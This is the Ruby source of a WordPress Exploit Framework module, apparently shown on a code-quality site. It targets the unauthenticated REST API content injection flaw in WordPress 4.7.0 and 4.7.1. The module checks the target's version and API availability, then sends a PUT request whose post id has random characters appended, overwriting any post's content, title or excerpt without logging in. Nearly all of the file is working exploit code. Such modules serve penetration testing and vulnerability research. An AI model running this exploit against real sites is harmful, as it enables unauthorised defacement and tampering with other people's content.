rastating/wordpress-exploit-framework

View on GitHub
lib/wpxf/modules/auxiliary/misc/wp_v4.7.1_content_injection.rb

Summary

Maintainability
A
1 hr
Test Coverage
# frozen_string_literal: true

class Wpxf::Auxiliary::WpV471ContentInjection < Wpxf::Module
  include Wpxf

  def initialize
    super

    update_info(
      name: 'WordPress 4.7.0 - 4.7.1 Unauthenticated Content Injection',
      desc: %(
        The REST API in versions 4.7.0 and 4.7.1 of WordPress contain a number
        of validation issues, which allow unauthenticated users to edit any post
        on the target installation.

        If the target has the API enabled (enabled by default), this module will
        update the post with the specified content, title and or excerpt.
      ),
      author: [
        'Sucuri <sucuri.net>', # Disclosure
        'rastating'            # WPXF module
      ],
      references: [
        ['WPVDB', '8734'],
        ['URL', 'https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html']
      ],
      date: 'Feb 01 2017'
    )

    register_options([
      IntegerOption.new(
        name: 'post_id',
        desc: 'The ID of the post to update',
        required: true
      ),
      StringOption.new(
        name: 'content',
        desc: 'The content to inject',
        required: false
      ),
      StringOption.new(
        name: 'title',
        desc: 'The title to inject',
        required: false
      ),
      StringOption.new(
        name: 'excerpt',
        desc: 'The excerpt to inject',
        required: false
      )
    ])
  end

  def check
    version = wordpress_version
    return :unknown if version.nil?

    if version == Gem::Version.new('4.7') || version == Gem::Version.new('4.7.1')
      return :vulnerable if rest_api_is_available
    end

    :safe
  end

  def rest_api_is_available
    res = execute_get_request(url: wordpress_url_rest_api)
    (res && res.code == 200)
  end

  def post_id
    normalized_option_value('post_id')
  end

  def post_route
    normalize_uri(wordpress_url_rest_api, 'wp', 'v2', 'posts', post_id)
  end

  def api_request_body
    data = {}
    data['content'] = datastore['content'] if datastore['content']
    data['title'] = datastore['title'] if datastore['title']
    data['excerpt'] = datastore['excerpt'] if datastore['excerpt']
    data
  end

  def run
    return false unless super

    emit_info 'Building request...'
    data = api_request_body
    emit_info "Request: #{data.inspect}", true

    emit_info 'Injecting content...'
    execute_put_request(
      url: post_route,
      body: data.to_json,
      params: {
        'id' => "#{post_id}#{Utility::Text.rand_alpha(3)}"
      },
      headers: {
        'Content-Type' => 'application/json'
      }
    )

    true
  end
end